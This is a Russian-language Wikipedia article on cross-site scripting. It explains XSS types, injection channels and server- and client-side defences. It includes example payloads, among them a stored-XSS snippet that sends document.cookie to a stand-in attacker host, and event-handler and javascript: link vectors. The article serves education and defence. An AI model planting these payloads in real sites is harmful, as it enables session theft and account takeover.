Википедия

Межсайтовый скриптинг

У этого термина существуют и другие значения, см. CSS (значения).

XSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — подтип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. Является разновидностью атаки «Внедрение кода».

Специфика подобных атак заключается в том, что вредоносный код может использовать авторизацию пользователя в веб-системе для получения к ней расширенного доступа или для получения авторизационных данных пользователя. Вредоносный код может быть вставлен в страницу как через уязвимость в веб-сервере, так и через уязвимость на компьютере пользователя[1].

Для термина используют сокращение «XSS», чтобы не было путаницы с каскадными таблицами стилей, использующими сокращение «CSS».

XSS находится на третьем месте в рейтинге ключевых рисков Web-приложений, согласно OWASP 2021[2]. Долгое время программисты не уделяли им должного внимания, считая их неопасными. Однако это мнение ошибочно: на странице или в HTTP-Cookie могут быть весьма уязвимые данные (например, идентификатор сессии администратора или номера платёжных документов), а там, где нет защиты от CSRF, атакующий может выполнить любые действия, доступные пользователю. Межсайтовый скриптинг может быть использован для проведения DoS-атаки[3].

Справочная информация править

Безопасность в Интернете обеспечивается с помощью многих механизмов, в том числе важной концепцией, известной как правило ограничения домена. Это правило разрешает сценариям, находящимся на страницах одного сайта (https://mybank.example.com), доступ к методам и свойствам друг друга без ограничений, но предотвращает доступ к большинству методов и свойств для страниц другого сайта (https://othersite.example.com)[4].

Межсайтовый скриптинг использует известные уязвимости в web-приложениях, серверах (или в системных плагинах, относящихся к ним). Используя одну из них, злоумышленник встраивает вредоносный контент в содержание уже взломанного сайта. В результате пользователь получает объединенный контент в веб-браузере, который был доставлен из надежного источника, и, таким образом, действует в соответствии с разрешениями, предоставленными для этой системы. Сумев внедрить необходимый скрипт в веб-страницу, злоумышленник может получить повышенные привилегии в отношении работы с веб-страницами, cookies и другой информацией, хранящейся в браузере для данного пользователя.

Выражение «межсайтинговый скриптинг» первоначально означало взаимодействие уязвимого веб-приложения с сайтом злоумышленника таким образом, чтобы в контексте атакуемого домена был выполнен JavaScript-код, подготовленный злоумышленником (отражённая или хранимая XSS уязвимость). Постепенно определение стало включать в себя и другие способы внедрения кода, включая использование устойчивых и не относящихся к JavaScript языков (например, ActiveX, Java, VBScript, Flash и даже HTML), создавая путаницу среди новичков в сфере информационной безопасности.[5]

Атаки с использованием XSS библиотеке React JS во многом предотвращены, так как там всё преобразуется в строчки, перед тем как быть отрендеренным. Это гарантирует, что никто никогда не внедрит чего-либо, что не было явно написано JS-разработчиком в web приложении.

XSS уязвимости зарегистрированы и используются с середины 1990-x годов[6]. Известные сайты, пострадавшие в прошлом, включают такие сайты социальных сетей, как Twitter[7], ВКонтакте[8], MySpace[9], YouTube[10], Facebook[11] и др.

Классификация править

Не существует чёткой классификации межсайтового скриптинга. Но большинство экспертов различает по крайней мере два типа XSS: «отраженные» («reflected XSS» или «Type 1») и «хранимые» («stored XSS» или «Type 2»).

По вектору править

Основной источник: [12]

Отражённые (непостоянные) править

Атака, основанная на отражённой уязвимости, на сегодняшний день является самой распространенной XSS-атакой[13]. Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента без надлежащей обработки[14]. Отражённая XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.

Пример: 

http://example.com/search.php?q=<script>DoSomething();</script>

Если сайт не экранирует угловые скобки, преобразуя их в «&lt;» и «&gt;», получим скрипт на странице результатов поиска.

Отражённые атаки, как правило, рассылаются по электронной почте или размещаются на Web-странице. URL приманки не вызывает подозрения, указывая на надёжный сайт, но содержит вектор XSS. Если доверенный сайт уязвим для вектора XSS, то переход по ссылке может привести к тому, что браузер жертвы начнет выполнять встроенный скрипт.

Хранимые (постоянные) править

Хранимый XSS является наиболее разрушительным типом атаки. Хранимый XSS возможен, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML-формате без ограничений, а также другие сайты Веб 2.0 (блоги, вики, имиджборд), когда на сервере хранятся пользовательские тексты и рисунки. Скрипты вставляются в эти тексты и рисунки.

Фрагмент кода похищения ключа с идентификатором сессии (session ID): 

<script>
document.location="http://attackerhost.example/cgi-bin/cookiesteal.cgi?"+document.cookie
</script>

DOM-модели править

XSS в DOM-модели возникает на стороне клиента во время обработки данных внутри JavaScript-сценария. Данный тип XSS получил такое название, поскольку реализуется через DOM (Document Object Model) — не зависящий от платформы и языка программный интерфейс, позволяющий программам и сценариям получать доступ к содержимому HTML и XML-документов, а также изменять содержимое, структуру и оформление таких документов. При некорректной фильтрации возможно модифицировать DOM атакуемого сайта и добиться выполнения JavaScript-кода в контексте атакуемого сайта.

Пример: 

<body>
<script>document.write(location.href);</script>
</body>

Пример DOM-модели XSS — баг, найденный в 2011 году в нескольких JQuery-плагинах[15]. Методы предотвращения DOM-модели XSS включают меры, характерные для традиционных XSS, но с реализацией на javascript и отправкой в веб-страницы — проверка ввода и предотвращение атаки[16]. Некоторые фреймворки javascript имеют встроенные защитные механизмы от этих и других типов атак, например, AngularJS[17].

По каналам внедрения скрипта править

Основной источник: [18]

Ошибки в браузере править

Из-за ошибок браузер может выполнять скрипты в SVG, нарушать правило Same Domain Policy. Это серьёзные ошибки; после обнаружения их быстро закрывают, однако в переходный период опасными становятся практически все сайты Веб 2.0: форумы, вики, имиджборды. Если такая ошибка обнаружилась, рекомендуется, пока не вышло обновление, пользоваться другим браузером.

Бывают и более тонкие ошибки, которые проявляются при очень специфичных условиях и крупного урона не наносят. Такие ошибки могут не исправляться годами и выгоднее исправить сайт, чем ждать обновления браузера.

Отсутствие экранирования спецсимволов HTML править

Намного чаще встречаются ошибки на сайтах. Чтобы браузер гарантированно не принял строку за тег HTML, требуется заэкранировать пять символов: '"&<>. Сервер может экранировать не все символы (известный недостаток PHP[22]), либо веб-программист просто забывает заэкранировать строку.

Обычно в базах данных текст хранится неэкранированным, и экранировать требуется все пользовательские строки каждый раз, когда они встраиваются в HTML: например, если не заэкранирован URL картинки, пользователь может ввести что-то наподобие http://example.com/img.png" onmouseover="javascript:DoSomething();.

Многие сайты позволяют форматирование текста с помощью какого-либо языка разметки (HTML, BBCode, вики-разметка). Часто не проводится полный лексический анализ языка разметки, а лишь преобразование в «безопасный» HTML с помощью регулярных выражений[23]. Это упрощает программирование, однако требует досконального понимания, какими путями скрипт может проникнуть в результирующий HTML-код.

Отсутствие фильтрации атрибутов и их значений в разрешённых тегах править

Типичным примером будет ссылка <a href="javascript:DoSomething()">. Даже если форум позволяет внешние ссылки, не стоит пускать протоколы javascript: и data:.

Не являются XSS, но не менее вредны и другие атаки: хакер может указать в качестве адреса сервер, имеющий узкий интернет-канал, парализуя его работу большим количеством запросов, или устроить с его помощью XSRF-атаку.

Подмена кодировки в заголовке страницы править

Современные браузеры пытаются определить кодировку страницы на ходу и интерпретируют html в соответствии с этой кодировкой. В случае, если тег <title> расположен до тега <meta> и заполняется пользовательскими данными, хакер может вставить злонамеренный html-код в кодировке UTF-7, обойдя таким образом фильтрацию таких символов, как < и ". Для защиты от данной уязвимости следует явно указывать кодировку страницы до каких-либо пользовательских полей. HTML 5 прямо запрещает поддержку браузерами кодировки UTF-7 как потенциально опасной.[24]

Социальная инженерия править

В другом языковом разделе есть более полная статья Self-XSS (англ.).

Пользуясь социальной инженерией, злоумышленники добиваются того, что пользователь сам запускает вредоносный скрипт в браузере (на стороне клиента). Разработчики браузеров и веб-сайты принимают усилия по предотвращению атак такого типа.[25]

Через внедрение SQL-кода править

Основная статья: SiXSS

Если сайт и допускает внедрение SQL-кода, и выводит содержимое БД без всякого экранирования (то ли по незнанию, то ли в БД хранится готовый HTML-код,[26] то ли автор точно знает, что «плохих» символов в БД нет), можно провести необычную атаку.

Внедрением SQL-кода записываем в БД «отравленную» страницу. Если кто-то получит доступ к этой строке БД, ему в браузер попадёт вредоносный скрипт. Бывают атаки и без хранения HTML в БД — СУБД вместо хранящегося в БД поля вернёт тот скрипт, который записан в тексте запроса.

По способу воздействия править

Основной источник: [27]

Активные править

Активная XSS атака не требует каких-либо действий со стороны пользователя с точки зрения функционала веб-приложения.

Пример:

<input type=text value=a onfocus=alert(1337) AUTOFOCUS>

В данном примере показано поле ввода, у которого установлен обработчик события появления фокуса, выполняющий собственно код атаки, а также у данного поля ввода активировано свойство автоматической установки фокуса. Таким образом автоматически устанавливается фокус, что вызывает обработчик установки фокуса, содержащий код атаки. Атака является активной и выполняется автоматически, не требуя от пользователя никакой активности.

Пассивные (автономные) править

Пассивная XSS-атака срабатывает при выполнении пользователем определённого действия (клик или наведение указателя мыши и т. п.).

Пример:

<a href='a' onmouseover=alert(1337) style='font-size:500px'>

Пример показывает гиперссылку, особым образом привлекающую внимание пользователя, и/или занимающее значительное место, повышающее вероятность наведения указателя мыши, в данном случае крупным шрифтом. У гиперссылки установлен обработчик события наведения указателя мыши, содержащий код атаки. Атака является пассивной, так как бездействует, а код атаки не выполняется в ожидании наведения указателя мыши на ссылку пользователем.

Средства защиты править

Основной источник: [1]

Защита на стороне сервера править

  • Кодирование управляющих HTML-символов, JavaScript, CSS и URL перед отображением в браузере. Для фильтрации входных параметров можно использовать следующие функции: filter_sanitize_encoded (для кодирования URL)[28], htmlentities (для фильтрации HTML)[29].
  • Кодирование входных данных. Например с помощью библиотек OWASP Encoding Project[30], HTML Purifier, htmLawed, Anti-XSS Class.
  • Регулярный ручной и автоматизированный анализ безопасности кода и тестирование на проникновение. С использованием таких инструментов, как Nessus, Nikto Web Scanner и OWASP Zed Attack Proxy.
  • Указание кодировки на каждой web-странице (например, ISO-8859-1 или UTF-8) до каких-либо пользовательских полей[31].
  • Обеспечение безопасности cookies, которая может быть реализована путём ограничения домена и пути для принимаемых cookies, установки параметра HttpOnly[32], использованием SSL[33].
  • Использование заголовка Content Security Policy, позволяющего задавать список, в который заносятся желательные источники, с которых можно подгружать различные данные, например, JS, CSS, изображения и пр.

Защита на стороне клиента править

  • Регулярное обновление браузера до новой версии[18].
  • Установка расширений для браузера, которые будут проверять поля форм, URL, JavaScript и POST-запросы, и, если встречаются скрипты, применять XSS-фильтры для предотвращения их запуска. Примеры подобных расширений: NoScript для FireFox, NotScripts для Chrome и Opera.

См. также править

Примечания править

  1. ↑ 1 2 Jatana1, Nishtha, Agrawal, Adwiteeya, Sobti, Kritika. Post XSS Exploitation: Advanced Attacks and Remedies (англ.). — P. 9. (недоступная ссылка)
  2. ↑ OWASP Top 10 (англ.). OWASP. The Open Web Application Security Project (OWASP). Дата обращения: 30 января 2022. Архивировано 17 января 2020 года.
  3. ↑ Seth Fogie, Jeremiah Grossman, 2007, pp. 290, 379.
  4. ↑ Same Origin Policy (англ.). W3C. Дата обращения: 18 декабря 2014. Архивировано 27 января 2017 года.
  5. ↑ Grossman, Jeremiah. The origins of Cross-Site Scripting (XSS). Дата обращения: 15 декабря 2014. Архивировано 21 февраля 2017 года. (англ.)
  6. ↑ Seth Fogie, Jeremiah Grossman, 2007, p. 3.
  7. ↑ Mirkov, Denis. Twitter заразили вирусом. Хакер (21 сентября 2010). Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
  8. ↑ Mirkov, Denis. XSS-уязвимости ВКонтакте. Хакер (10 марта 2011). Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
  9. ↑ Mirkov, Denis. Сайт Sla.ckers.org открыл подборку XSS уязвимостей. Хакер (25 сентября 2006). Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
  10. ↑ Mirkov, Denis. Множественные уязвимости в YouTube Blog. Хакер (23 июля 2008). Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
  11. ↑ Mirkov, Denis. На Facebook обнаружена XSS-уязвимость. Хакер (26 мая 2008). Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
  12. ↑ Тюрин, Алексей. В поисках лазеек: гид по DOM Based XSS // Хакер : Журнал. — 2013. — № 172. — С. 80-85. Архивировано 15 декабря 2014 года.
  13. ↑ Paco Hope, Ben Walther, 2008, p. 128.
  14. ↑ Cross-site Scripting (англ.). Web Application Security Consortium (2005). Дата обращения: 18 декабря 2014. Архивировано 1 июня 2010 года.
  15. ↑ JQuery bug #9521 (англ.). JQuery. Дата обращения: 18 декабря 2014. Архивировано 30 января 2017 года.
  16. ↑ DOM based XSS prevention cheat sheet (англ.). The Open Web Application Security Project (OWASP). Дата обращения: 18 декабря 2014. Архивировано 28 января 2017 года.
  17. ↑ Strict Contextual Escaping (англ.). AngularJS. Дата обращения: 18 декабря 2014. Архивировано 10 февраля 2014 года.
  18. ↑ 1 2 Cross-site Scripting (XSS) (англ.). The Open Web Application Security Project (OWASP). Дата обращения: 18 декабря 2014. Архивировано 22 декабря 2014 года.
  19. ↑ Bug 272620 - XSS vulnerability in internal error messages (англ.). Bugzilla@Mozilla. Дата обращения: 18 декабря 2014. Архивировано 30 октября 2014 года.
  20. ↑ US-CERT/NIST. Vulnerability Summary for CVE-2002-0902 (англ.) : сайт. — 2008. Архивировано 15 октября 2012 года.
  21. ↑ Boerwinkel, Martijn. Cross Site Scripting Vulnerability in phpBB2's IMG tag and remote avatar (англ.). seclists.org (26 мая 2002). Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
  22. ↑ Стандартная функция PHP htmlspecialchars по умолчанию не экранирует апостроф, и в сочетании с кодом "<a href='$htUrl'>" получается уязвимость.
  23. ↑ Простой парсинг BBcode на php. Веб-разработка. Дата обращения: 18 декабря 2014. Архивировано 18 декабря 2014 года.
  24. ↑ The elements of HTML — HTML Standard (англ.). Web Hypertext Application Technology Working Group (WHATWG). Дата обращения: 18 декабря 2014. Архивировано 21 декабря 2019 года.
  25. ↑ DevTools: Combat self-xss (англ.). Chromium. Дата обращения: 6 февраля 2024.
  26. ↑ Например, движок MediaWiki кэширует HTML-код страниц.
  27. ↑ Kochetkov, Vladimir. Вся правда об XSS или Почему межсайтовое выполнение сценариев не является уязвимостью? SecurityLab (8 августа 2012). Дата обращения: 18 декабря 2014. Архивировано 19 декабря 2014 года.
  28. ↑ Очищающие фильтры. PHP. Дата обращения: 18 декабря 2014. Архивировано 19 декабря 2014 года.
  29. ↑ PHP:htmlentities (англ.). PHP. Дата обращения: 18 декабря 2014. Архивировано 19 декабря 2014 года.
  30. ↑ OWASP Java Encoder Project. The Open Web Application Security Project (OWASP). Дата обращения: 18 декабря 2014. Архивировано 2 ноября 2014 года.
  31. ↑ Сноу, Джон. Маскарад символов: unicode-ориентированные аспекты безопасности // Хакер : сайт. — 2010. Архивировано 19 декабря 2014 года.
  32. ↑ HttpOnly (англ.). The Open Web Application Security Project (OWASP). Дата обращения: 18 декабря 2014. Архивировано 26 декабря 2008 года.
  33. ↑ Hafner, Robert. How to create totally secure cookies (англ.) : сайт. — 2009. Архивировано 19 декабря 2014 года.

Литература править

  • Seth Fogie, Jeremiah Grossman, Robert Hansen, Anton Rager, Petko D. Petkov. XSS атаки: эксплуатация и защита = XSS Attacks: Cross Site Scripting Exploits and Defense. — Syngress, 2007. — 464 p. — ISBN 1597491543.
  • Paco Hope, Ben Walther. Web Security Testing Cookbook. — O'Reilly Media, 2008. — 314 p. — ISBN 978-0-596-51483-9.

Ссылки править


Источник — https://ru.wikipedia.org/w/index.php?title=Межсайтовый_скриптинг&oldid=136020442